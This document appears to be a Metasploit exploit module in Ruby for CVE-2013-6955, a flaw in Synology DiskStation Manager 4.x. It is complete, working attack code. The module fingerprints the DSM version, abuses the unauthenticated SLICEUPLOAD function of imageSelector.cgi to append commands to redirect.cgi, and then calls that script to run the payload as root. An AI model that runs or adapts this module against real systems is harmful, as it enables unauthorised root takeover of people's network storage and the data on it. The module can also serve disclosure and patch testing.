Synology DiskStation Manager SLICEUPLOAD Remote Command Execution

`##  
## This module requires Metasploit: http//metasploit.com/download  
## Current source: https://github.com/rapid7/metasploit-framework  
###  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
DEVICE_INFO_PATTERN = /major=(?<major>\d+)&minor=(?<minor>\d+)&build=(?<build>\d+)  
&junior=\d+&unique=synology_\w+_(?<model>[^&]+)/x  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Synology DiskStation Manager SLICEUPLOAD Remote Command Execution",  
'Description' => %q{  
This module exploits a vulnerability found in Synology DiskStation Manager (DSM)  
versions 4.x, which allows the execution of arbitrary commands under root  
privileges.  
The vulnerability is located in /webman/imageSelector.cgi, which allows to append  
arbitrary data to a given file using a so called SLICEUPLOAD functionality, which  
can be triggered by an unauthenticated user with a specially crafted HTTP request.  
This is exploited by this module to append the given commands to /redirect.cgi,  
which is a regular shell script file, and can be invoked with another HTTP request.  
Synology reported that the vulnerability has been fixed with versions 4.0-2259,  
4.2-3243, and 4.3-3810 Update 1, respectively; the 4.1 branch remains vulnerable.  
},  
'Author' =>  
[  
'Markus Wulftange' # Discovery, Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2013-6955' ],  
],  
'Privileged' => false,  
'Platform' => ['unix'],  
'Arch' => ARCH_CMD,  
'Payload' =>  
{  
'DisableNops' => true,  
'Space' => 0x31337,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic perl telnet',  
}  
},  
'Targets' =>  
[  
['Automatic', {}]  
],  
'DefaultTarget' => 0,  
'License' => MSF_LICENSE,  
'DisclosureDate' => 'Oct 31 2013'  
))  
  
register_options(  
[  
Opt::RPORT(5000)  
], self.class)  
end  
  
def check  
print_status("#{peer} - Trying to detect installed version")  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri('webman', 'info.cgi'),  
'vars_get' => { 'host' => ''}  
})  
  
if res and res.code == 200 and res.body =~ DEVICE_INFO_PATTERN  
version = "#{$~[:major]}.#{$~[:minor]}"  
build = $~[:build]  
model = $~[:model].sub(/^[a-z]+/) { |s| s[0].upcase }  
model = "DS#{model}" unless model =~ /^[A-Z]/  
else  
print_status("#{peer} - Detection failed")  
return Exploit::CheckCode::Unknown  
end  
  
print_status("#{peer} - Model #{model} with version #{version}-#{build} detected")  
  
case version  
when '4.0'  
return Exploit::CheckCode::Vulnerable if build < '2259'  
when '4.1'  
return Exploit::CheckCode::Vulnerable  
when '4.2'  
return Exploit::CheckCode::Vulnerable if build < '3243'  
when '4.3'  
return Exploit::CheckCode::Vulnerable if build < '3810'  
return Exploit::CheckCode::Detected if build == '3810'  
end  
  
Exploit::CheckCode::Safe  
end  
  
def exploit  
cmds = [  
# sed is used to restore the redirect.cgi  
"sed -i -e '/sed -i -e/,$d' /usr/syno/synoman/redirect.cgi",  
payload.encoded  
].join("\n")  
  
mime_msg = Rex::MIME::Message.new  
mime_msg.add_part('login', nil, nil, 'form-data; name="source"')  
mime_msg.add_part('logo', nil, nil, 'form-data; name="type"')  
  
# unfortunately, Rex::MIME::Message canonicalizes line breaks to \r\n,  
# so we use a placeholder and replace it later  
cmd_placeholder = Rex::Text::rand_text_alphanumeric(10)  
mime_msg.add_part(cmd_placeholder, 'application/octet-stream', nil,  
'form-data; name="foo"; filename="bar"')  
  
post_body = mime_msg.to_s  
post_body.strip!  
post_body.sub!(cmd_placeholder, cmds)  
  
# fix multipart encoding  
post_body.gsub!(/\r\n(--#{mime_msg.bound})/, ' \\1')  
  
# send request to append shell commands  
print_status("#{peer} - Injecting the payload...")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri('webman', 'imageSelector.cgi'),  
'ctype' => "multipart/form-data; boundary=#{mime_msg.bound}",  
'headers' => {  
'X-TYPE-NAME' => 'SLICEUPLOAD',  
'X-TMP-FILE' => '/usr/syno/synoman/redirect.cgi'  
},  
'data' => post_body  
})  
  
unless res and res.code == 200 and res.body.include?('error_noprivilege')  
fail_with(Failure::Unknown, "#{peer} - Unexpected response, probably the exploit failed")  
end  
  
# send request to invoke the injected shell commands  
print_status("#{peer} - Executing the payload...")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri('redirect.cgi'),  
})  
  
# Read command output if cmd/unix/generic payload was used  
if datastore['CMD']  
unless res and res.code == 200  
fail_with(Failure::Unknown, "#{peer} - Unexpected response, probably the exploit failed")  
end  
  
print_good("#{peer} - Command successfully executed")  
print_line(res.body)  
end  
end  
end  
  
`